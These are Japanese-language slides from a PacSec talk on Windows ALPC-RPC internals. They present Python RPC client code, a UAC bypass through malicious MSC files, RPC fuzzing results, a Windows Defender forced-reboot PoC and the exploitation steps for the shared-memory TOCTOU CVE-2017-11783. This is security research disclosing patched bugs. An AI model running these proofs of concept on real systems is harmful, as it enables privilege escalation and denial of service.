  • 16. A view into ALPC-RPC はじめに ALPC RPC RPC Bind RPC call EpMapper UAC 高度な機能と 脆弱性の調査 CVE-2017-11783 まとめ Clément Rouault & Thomas Imbert PacSec 最小のリクエストとレスポンスのビルド リクエスト req = ALPC_RPC_BIND() req.request_type = gdef.RPC_REQUEST_TYPE_BIND req.target = gdef.RPC_IF_ID(uuid, *syntaxversion) req.flags = gdef.BIND_IF_SYNTAX_NDR32 req.if_nb_ndr32 = requested_if_nb req.if_nb_ndr64 = 0 req.if_nb_unkn = 0 req.register_multiple_syntax = False レスポンス ALPC_RPC_BINDも同様 request_type == RPC_RESPONSE_TYPE_BIND_OK(1) 一部のフィールドは、サーバーによって実際に処理され たリクエストを反映するように変更される場合がある
  • 17. A view into ALPC-RPC はじめに ALPC RPC RPC Bind RPC call EpMapper UAC 高度な機能と 脆弱性の調査 CVE-2017-11783 まとめ Clément Rouault & Thomas Imbert PacSec Rpcコール class ALPC_RPC_CALL(ctypes.Structure): _pack_ = 1 _fields_ = [ ("request_type", gdef.DWORD), ("UNK1", gdef.DWORD), ("flags",gdef.DWORD), ("request_id", gdef.DWORD), ("if_nb", gdef.DWORD), ("method_offset", gdef.DWORD), ("UNK2", gdef.DWORD), ("UNK3", gdef.DWORD), ("UNK4", gdef.DWORD), ("UNK5", gdef.DWORD), ("UNK6", gdef.DWORD), ("UNK7", gdef.DWORD), ("UNK8", gdef.DWORD), ("UNK9", gdef.DWORD), ("UNK10", gdef.DWORD), ("UNK11", gdef.DWORD), ]
  • 18. A view into ALPC-RPC はじめに ALPC RPC RPC Bind RPC call EpMapper UAC 高度な機能と 脆弱性の調査 CVE-2017-11783 まとめ Clément Rouault & Thomas Imbert PacSec 最小のRPCの呼び出しをビルド req = ALPC_RPC_CALL() req.request_type = gdef.RPC_REQUEST_TYPE_CALL req.flags = 0 req.request_id = 0x11223344 req.if_nb = interface_nb req.method_offset = method_offset return buffer(req)[:] + params 多くのフィールドはまだ識別されていない params はメソッドのパラメータを整列する
  • 19. A view into ALPC-RPC はじめに ALPC RPC RPC Bind RPC call EpMapper UAC 高度な機能と 脆弱性の調査 CVE-2017-11783 まとめ Clément Rouault & Thomas Imbert PacSec Network Data Representation (NDR) Network Data Representation (NDR) "NDRの役割は、IDLデータ型のオクテットスト リームへのマッピングを提供すること" ドキュメント: http://pubs.opengroup.org/ onlinepubs/9629399/chap14.htm Microsoft Transfert Syntax 71710533-BEBA-4937-8319-B5DBEF9CCC36 v1.0 NDR 8A885D04-1CEB-11C9-9FE8-08002B104860 v2.0 NDR64 B4537DA9-3D03-4F6B-B594-52B2874EE9D0 v1.0 ??? これを見つけたら教えてください :) このプロジェクトのためにPythonでNDR32の一部 を実装した
  • 20. A view into ALPC-RPC はじめに ALPC RPC RPC Bind RPC call EpMapper UAC 高度な機能と 脆弱性の調査 CVE-2017-11783 まとめ Clément Rouault & Thomas Imbert PacSec RPCClient - 実装 import windows.rpc from windows.rpc import ndr client = windows.rpc.RPCClient(r"RPC ControlHelloRpc") iid = client.bind("41414141-4242-4343-4444-45464748494a") ndr_params = ndr.make_parameters([ndr.NdrLong] * 2) resp = client.call(iid, 1, ndr_params.pack([41414141, 1010101])) result = ndr.NdrLong.unpack(ndr.NdrStream(resp)) print(result) # 42424242 client.call(iid, 0, ndr.NdrUniqueCString.pack( "Hello from Python !x00")) iid2 = client.bind("99999999-9999-9999-9999-999999999999") client.call(iid2, 0, ndr.NdrCString.pack( "Hello again from IF2 !x00"))
  • 21. A view into ALPC-RPC はじめに ALPC RPC RPC Bind RPC call EpMapper UAC 高度な機能と 脆弱性の調査 CVE-2017-11783 まとめ Clément Rouault & Thomas Imbert PacSec EpMapper ? 特定のインタフェースのエンドポイントを取得するにはどうすれば? 指定されたインタフェースのエンドポイントを一覧表示 Alpc エンドポイント: RPC Controlepmapper e1af8308-5d1f-11c9-91a4-08002b14a0fa v3.0 Method 7: ept_map_auth ept_map_auth parameters 良く知られた PSID protocol tower binary-formatのドキュメント エンドポイントプロトコルを説明するために使用 http://pubs.opengroup.org/onlinepubs/ 9629399/apdxl.htm EpMapper !
  • 22. A view into ALPC-RPC はじめに ALPC RPC RPC Bind RPC call EpMapper UAC 高度な機能と 脆弱性の調査 CVE-2017-11783 まとめ Clément Rouault & Thomas Imbert PacSec EpMapper リクエストのサンプル フルPythonで再実装された呼び出し >>> windows.rpc.find_alpc_endpoints("880fd55e-43b9-11e0-b1a8-cf4edfd72085", nb_response=2) [UnpackTower(protseq=’ncalrpc’, endpoint=bytearray(b’LRPC-b0cb073a897f2102a8’), address=None, object=<RPC_IF_ID "880FD55E-43B9-11E0-B1A8-CF4EDFD72085" (1, 0)>, syntax=<RPC_IF_ID "8A885D04-1CEB-11C9-9FE8-08002B104860" (2, 0)>), UnpackTower(protseq=’ncalrpc’, endpoint=bytearray(b’OLE8C19EF53D4A32E3D54196ECDB935’), address=None, object=<RPC_IF_ID "880FD55E-43B9-11E0-B1A8-CF4EDFD72085" (1, 0)>, syntax=<RPC_IF_ID "8A885D04-1CEB-11C9-9FE8-08002B104860" (2, 0)>)] >>> client = windows.rpc.find_alpc_endpoint_and_connect( "be7f785e-0e3a-4ab7-91de-7e46e443be29", version=(0,0)) >>> client <windows.rpc.client.RPCClient object at 0x044EBE30> >>> client.alpc_client.port_name ’RPC ControlLRPC-de2d0664c8d8d755b2’
  • 24. A view into ALPC-RPC はじめに ALPC RPC UAC 高度な機能と 脆弱性の調査 CVE-2017-11783 まとめ Clément Rouault & Thomas Imbert PacSec RAiLaunchAdminProcess インターフェース appinfo.dll 201ef99a-7fa0-444c-9399-19ba84f12a1a v2.0 Method 0: RAiLaunchAdminProcess request_tst = RaiLaunchAdminProcessParameters.pack([ "C:windowssystem32mspaint.exex00", # アプリケーションパス "Yolo-Commandline Whateverx00", # コマンドライン 1, # UAC-リクエストフラグ gdef.CREATE_UNICODE_ENVIRONMENT, # dwCreationFlags "x00", # スタートディレクトリ "WinSta0Defaultx00", # ステーション # スタートアップ情報 (None, # Title 1, 2, 3, 4, 5, 6, 7, 1, # Startupinfo: dwX から dwFlags 5, # wShowWindow # Point: MonitorFromPointを使ったStartupInfo.hStdOutput のセットアップ (0, 0)), 0x10010, #UACがフォーカスを奪えるかを知るためのウィンドウハンドル 0xffffffff]) # UAC タイムアウト
  • 26. A view into ALPC-RPC はじめに ALPC RPC UAC 高度な機能と 脆弱性の調査 CVE-2017-11783 まとめ Clément Rouault & Thomas Imbert PacSec バグ コマンドラインを完全に制御できた 信頼できるバイナリへUACをバイパス: g_lpAutoApproveEXEList mmc.exeのための特別なケース .mscを解析してコマンドラインをパース "," はパーサのために有効なコマンドラインの区切り文字 次のコマンドラインを作ることができる XXX,wf.msc MY_BAD_MSC appinfo.dll は wf.msc をターゲットと思ってしまう mmc.exe は悪意のある MY_BAD_MSCをロードしてしまう appinfo!AiIsEXESafeToAutoApprove
  • 27. A view into ALPC-RPC はじめに ALPC RPC UAC 高度な機能と 脆弱性の調査 CVE-2017-11783 まとめ Clément Rouault & Thomas Imbert PacSec バイパス 悪意のあるMSCからの実行 ActiveX Controlから Flash object のMMC テン プレートを使用できる わずかな変更でjavascriptを実行できる JSの external.ExecuteShellCommand 関数 beerumpを用いた解説は以下にある http://www.rump.beer/2017/slides/from_alpc_ to_uac_bypass.pdf これはUACのバイパスができるだけ。先に進んで いい?
  • 28. A view into ALPC-RPC はじめに ALPC RPC UAC 高度な機能と 脆弱性の調査 ALPC メッセージの機能 ファジング 結果 CVE-2017-11783 まとめ Clément Rouault & Thomas Imbert PacSec 概要 ALPC メッセージの機能 ファジング 結果 5 高度な機能と脆弱性の調査
  • 29. A view into ALPC-RPC はじめに ALPC RPC UAC 高度な機能と 脆弱性の調査 ALPC メッセージの機能 ファジング 結果 CVE-2017-11783 まとめ Clément Rouault & Thomas Imbert PacSec ALPC メッセージの属性の構造体 属性ヘッダの後ろに付加される構造体
  • 30. A view into ALPC-RPC はじめに ALPC RPC UAC 高度な機能と 脆弱性の調査 ALPC メッセージの機能 ファジング 結果 CVE-2017-11783 まとめ Clément Rouault & Thomas Imbert PacSec ALPC メッセージの属性の用途 Security Security QoS オプション View 共有メモリに送信されたデータ Context メッセージコンテキスト(seq,ID)の提示 Handle オブジェクトハンドルの送信 Token トークンIDの提示 Direct 非同期完了のイベント Work on behalf コンテナ偽装のチケット
  • 31. A view into ALPC-RPC はじめに ALPC RPC UAC 高度な機能と 脆弱性の調査 ALPC メッセージの機能 ファジング 結果 CVE-2017-11783 まとめ Clément Rouault & Thomas Imbert PacSec ALPC ハンドルの属性の例 ファイルハンドルの共有 クライアント # 共有したいファイルを開く f = open("C:WindowsSystem32rpcrt4.dll", ’rb’) # AlpcMessage は、割り当てられたすべての属性を初期化する msg = windows.alpc.AlpcMessage() # ALPC_MESSAGE_HANDLE_ATTRIBUTEのセットアップ msg.handle_attribute.Flags = gdef.ALPC_HANDLEFLG_DUPLICATE_SAME_ACCESS msg.handle_attribute.Handle = windows.utils.get_handle_from_file(f) msg.handle_attribute.ObjectType = 0 msg.handle_attribute.DesiredAccess = 0 # ハンドルを有効に設定して送信 msg.attributes.ValidAttributes |= gdef.ALPC_MESSAGE_HANDLE_ATTRIBUTE client.send_receive(msg) サーバー # サーバーは AlpcServer msg = server.recv() if msg.type & 0xfff == LPC_REQUEST: if msg.handle_is_valid and msg.handle_attribute.Handle: print("Object type = <{0}>".format(msg.handle_attribute.ObjectType)) print("Name = <{0}>".format(get_filename_from_handle(msg.handle_attribute.Handle))) # Output: # Object type = <1> # Name = <DeviceHarddiskVolume4WindowsSystem32rpcrt4.dll>
  • 32. A view into ALPC-RPC はじめに ALPC RPC UAC 高度な機能と 脆弱性の調査 ALPC メッセージの機能 ファジング 結果 CVE-2017-11783 まとめ Clément Rouault & Thomas Imbert PacSec 脆弱性の調査 手動リバースエンジニアリング (高度な機能とイン ターフェイスメソッド) シンプルな RPC MITM で (RPC デバッガ上に構築され た)NDRデータストリーム上の変化を再現 RPC コールと提示されているすべてのメソッドを再現 150以上の RPC インターフェース ターゲット: 低レベルの整合性でアクセス可能な特権イン ターフェイス どのようにスケールする?
  • 33. A view into ALPC-RPC はじめに ALPC RPC UAC 高度な機能と 脆弱性の調査 ALPC メッセージの機能 ファジング 結果 CVE-2017-11783 まとめ Clément Rouault & Thomas Imbert PacSec RPC の再現 RPC ランタイムは不正なNDRを拒否する 整列されたストリームは引数の型と一致しなければならない 1 epmapper または固定のALPCエンドポイント名を 使用してインターフェイスに接続 2 スレージェネレーターに基づいて呼び出し引数 (正しい型と構造体)を生成 3 整列され生成された引数で呼び出しを実行 4 任意の context_handle を返されたストリームか ら抽出(有効なcontext_handleを期待するメソッドを ファジング)
  • 34. A view into ALPC-RPC はじめに ALPC RPC UAC 高度な機能と 脆弱性の調査 ALPC メッセージの機能 ファジング 結果 CVE-2017-11783 まとめ Clément Rouault & Thomas Imbert PacSec RPC の再現例 カスタマイズされた RPCViewから生成されたインターフェースコード from rpc_forge import * # UUID 552d076a-cb29-4e44-8b6a-d15e59e2c0af VERSION 1.0 DLL iphlpsvc.dll interface = Interface("552d076a-cb29-4e44-8b6a-d15e59e2c0af", (1,0), [ Method("IpTransitionProtocolApplyConfigChanges", 1, In(NdrByte)), Method("IpTransitionProtocolApplyConfigChangesEx", 1, In(NdrByte), In(Range(0,65535) / NdrLong), In(SizeIs(2) / NdrCString) ), ]) context_handles = set() method_number = interface.find_method_by_name("IpTransitionProtocolApplyConfigChangesEx") arg = interface.methods[method_number].forge_call(context_handles) arg ’x01PPPx05x00x00x00x05x00x00x00????x00PPP’ # ’P’ はパディング interface.connect() res = interface.call(method_number, arg) res ’x00x00x00x00rxf0xadxba’ RPCForge は、カンファレンス後にGitHubでリリースす る予定です。 iphlpsvc.dllのインターフェイスの生成
  • 35. A view into ALPC-RPC はじめに ALPC RPC UAC 高度な機能と 脆弱性の調査 ALPC メッセージの機能 ファジング 結果 CVE-2017-11783 まとめ Clément Rouault & Thomas Imbert PacSec 見つかったバグの種類 一意のポインタのnull許容 (NULL Dereference) 範囲属性なしのオフセットとして使用される入力パラメータ (Out Of Bound Access) 同一プロセス内の異なるcontext_handle /インタフェースは strict として定義する必要がある/ type_strict_context_handle (型の混同) 特権アクションを実行する前にクライアント特権をチェック (または偽装)する必要がある(ロジックバグ) ⇒ サービスのDOS, システムの DOS (BSOD CRITICAL_PROCESS_DIED) または権限昇格
  • 36. A view into ALPC-RPC はじめに ALPC RPC UAC 高度な機能と 脆弱性の調査 ALPC メッセージの機能 ファジング 結果 CVE-2017-11783 まとめ Clément Rouault & Thomas Imbert PacSec MS AV PoCの例 rpcrt4.dll は受信バッファ内のサーバーヒープメモリ をリークする (NtAlpcSendWaitReceivePort) Microsoft Antimalware Service - QueryVersion and ForcedReboot # 低い整合性への切り替え windows.current_process.token.integrity = SECURITY_MANDATORY_LOW_RID #Windows Defenderの MpSvc.dllインターフェイスに接続してバインド MS_AV_ALPC = r"RPC ControlIMpService77BDAF73-B396-481F-9042-AD358843EC24" client = windows.rpc.RPCClient(MS_AV_ALPC) iid = client.bind("c503f532-443a-4c69-8300-ccd1fbdb3839", version=(2,0)) # ServerMpQueryEngineVersion 41を呼び出す(メソッド番号はバージョンによって異なる場合がある) print client.call(iid, 41, "") # ServerMpRpcForcedReboot 83を呼び出す (同じく) client.call(iid, 83, "0"*4) その後、再起動!
  • 38. A view into ALPC-RPC はじめに ALPC RPC UAC 高度な機能と 脆弱性の調査 CVE-2017-11783 まとめ Clément Rouault & Thomas Imbert PacSec 共有メモリに着目 ALPC との共有メモリはどのように機能するか? 任意の NCALRPC サーバーは使えるか? 共有メモリからどのデータがフェッチされるか? クライアント/サーバにおける共有メモリ保護 リードオンリー / RW / RWX ?
  • 39. A view into ALPC-RPC はじめに ALPC RPC UAC 高度な機能と 脆弱性の調査 CVE-2017-11783 まとめ Clément Rouault & Thomas Imbert PacSec ALPC と共有メモリ 共有メモリがビューとしてALPCに存在する Alpc Alpc View: NTAPIのリバースエンジニアリング ntdll!NtAlpcCreatePortSection ntdll!NtAlpcCreateSectionView ntdll!NtAlpcSendWaitReceivePort nt!AlpcpCaptureViewAttribute nt!AlpcpExposeViewAttribute (リバースエンジニアリングした後)Alex Ionescuがすで に研究していたと知った
  • 40. A view into ALPC-RPC はじめに ALPC RPC UAC 高度な機能と 脆弱性の調査 CVE-2017-11783 まとめ Clément Rouault & Thomas Imbert PacSec 論理エラー Flag 0x40000 | SECURE_VIEW Ntoskrnl ntdll!NtAlpcCreatePortSection & nt!captureViewAttributeInternal 送信時にビュー (READ_ONLY) を保護 rpcrt4 ビューでのハンドルコールの要求 NDR 逆シリアル化の前に、保護されたビュー のデータはコピーされない 脆弱性 カーネルは VirtualProtect のビューが再度 READ_WRITE になることを保護しない
  • 41. A view into ALPC-RPC はじめに ALPC RPC UAC 高度な機能と 脆弱性の調査 CVE-2017-11783 まとめ Clément Rouault & Thomas Imbert PacSec 仮説の検証 サーバー int Pouet(handle_t, const unsigned char* trololo) { std::cout << "Priting parameter: " << trololo << std::endl; std::cout << "Waiting 1 second" << std::endl; Sleep(1000); std::cout << "RE-Priting parameter: " << trololo << std::endl; return 42; }
  • 42. A view into ALPC-RPC はじめに ALPC RPC UAC 高度な機能と 脆弱性の調査 CVE-2017-11783 まとめ Clément Rouault & Thomas Imbert PacSec セキュアなビューを使用したRPCコール ポインタ引数が共有メモリを直接指している 0:005> u eip L1 Example1ExplicitServer!Pouet 0139a1d0 55 push ebp 0:005> da poi(trololo) 00a5000c "My First Message" 0:005> !address 00a5000c Usage: MappedFile Base Address: 00a50000 End Address: 00a51000 State: 00001000 MEM_COMMIT Protect: 00000004 PAGE_READWRITE Type: 00040000 MEM_MAPPED Mapped file name: PageFile 0:005> dc 00a50000 00a50000 00000011 00000000 00000011 4620794d ............My F 00a50010 74737269 73654d20 65676173 50505000 irst Message.PPP 00a50020 00000000 00000000 00000000 00000000 ................
  • 43. A view into ALPC-RPC はじめに ALPC RPC UAC 高度な機能と 脆弱性の調査 CVE-2017-11783 まとめ Clément Rouault & Thomas Imbert PacSec 仮説の検証 import windows.rpc from windows.rpc import ndr import windows.generated_def as gdef client = windows.rpc.RPCClient(r"RPC ControlHelloRpc") iid = client.bind("99999999-9999-9999-9999-999999999999") cur_proc = windows.current_process # セクションの作成 section = client.alpc_client.create_port_section(0x40000, 0, 0x1000) view = client.alpc_client.map_section(section[0], 0x1000) # コールの偽装 IF_NUMBER = client.if_bind_number[hash(buffer(iid)[:])] call_req = client._forge_call_request(IF_NUMBER, 2, "") # パラメータのNDRをパック params = ndr.NdrCString.pack("My First Messagex00") # ビューを含む新しいメッセージ p = windows.alpc.AlpcMessage(0x2000) p.port_message.data = call_req + ndr.NdrLong.pack(len(params) + 0x200) + "x00" * 40 p.attributes.ValidAttributes |= gdef.ALPC_MESSAGE_VIEW_ATTRIBUTE p.view_attribute.Flags = 0x40000 p.view_attribute.ViewBase = view.ViewBase p.view_attribute.SectionHandle = view.SectionHandle p.view_attribute.ViewSize = len(params) cur_proc.write_memory(view.ViewBase, params) #NDR をビューに書き込む client.alpc_client.send(p) cur_proc.virtual_protect(view.ViewBase, 0x1000, gdef.PAGE_READWRITE, None) import time; time.sleep(0.5) cur_proc.write_memory(view.ViewBase + 3*4, "VULNERABLE !x00")
  • 44. A view into ALPC-RPC はじめに ALPC RPC UAC 高度な機能と 脆弱性の調査 CVE-2017-11783 まとめ Clément Rouault & Thomas Imbert PacSec 仮説の検証 - 2 サーバー int Pouet(handle_t, const unsigned char* trololo) { std::cout << "Priting parameter: " << trololo << std::endl; std::cout << "Waiting 1 second" << std::endl; Sleep(1000); std::cout << "RE-Priting parameter: " << trololo << std::endl; return 42; } 結果! TOCTOU をトリガーしてダブルフェッチ する
  • 45. A view into ALPC-RPC はじめに ALPC RPC UAC 高度な機能と 脆弱性の調査 CVE-2017-11783 まとめ Clément Rouault & Thomas Imbert PacSec ターゲットの発見 ターゲット StorSvc be7f785e-0e3a-4ab7-91de-7e46e443be29 v0.0 メソッド 14: SvcMoveFileInheritSecurity 擬似コード RPC_STATUS SvcMoveFileInheritSecurity(handle_t AutoBindingHandle, wchar_t *OldFileName, wchar_t *NewFileName, DWORD Flags) { if ( RpcImpersonateClient(0) == RPC_S_OK ) { if ( MoveFileExW(OldFileName, NewFileName, Flags) ) { RpcRevertToSelf(); if ( InitializeAcl(&pAcl, 8, 2) ) { if ( SetNamedSecurityInfoW(NewFileName, /*[...]*/) != ERROR_SUCCESS ) MoveFileExW(NewFileName, OldFileName, Flags); } // [...] 最後の MoveFileExW は NT AuthoritySYSTEMとし て実行される
  • 46. A view into ALPC-RPC はじめに ALPC RPC UAC 高度な機能と 脆弱性の調査 CVE-2017-11783 まとめ Clément Rouault & Thomas Imbert PacSec エクスプロイト 要件 脆弱な MoveFileEx にリーチ 最初にMoveFileEx が成功する必要がある NamedSecurityInfoW は失敗する必要がある レースに勝つ: 2つのMoveFileの間でパラメータを変更する ステップ %LocalAppData%Lowのファイルsrc、dst、new_srcのセットアップ oplockを使用してコピー先ファイル(dst)をロックする SvcMove(src, dst, MOVEFILE_REPLACE_EXISTING)をコール ロックのコールバックがトリガされるとき 関数のパラメータを変更する(共有メモリ) dst ⇒ new_src & src ⇒ new_dst new_srcのACLのシステムへの WRITE_DAC を削除する SYSTEMとしてMoveFileEx(new_src, new_dst) を実行
  • 49. A view into ALPC-RPC はじめに ALPC RPC UAC 高度な機能と 脆弱性の調査 CVE-2017-11783 まとめ Clément Rouault & Thomas Imbert PacSec まとめ 複雑なテーマ RPC サーバーはカスタムのクライアントを待ち受ける まだ多くの作業が必要です 我々のオープンソースの実装は、他の人がこのトピッ クに取り組むことを支援する Microsoftの迅速な対応と修正に感謝
  • 50. A view into ALPC-RPC はじめに ALPC RPC UAC 高度な機能と 脆弱性の調査 CVE-2017-11783 まとめ Clément Rouault & Thomas Imbert PacSec 質問? ご清聴ありがとうございました https://github.com/hakril/PythonForWindows https://portal.msrc.microsoft.com/en-US/ security-guidance/advisory/CVE-2017-11783 @hakril @masthoon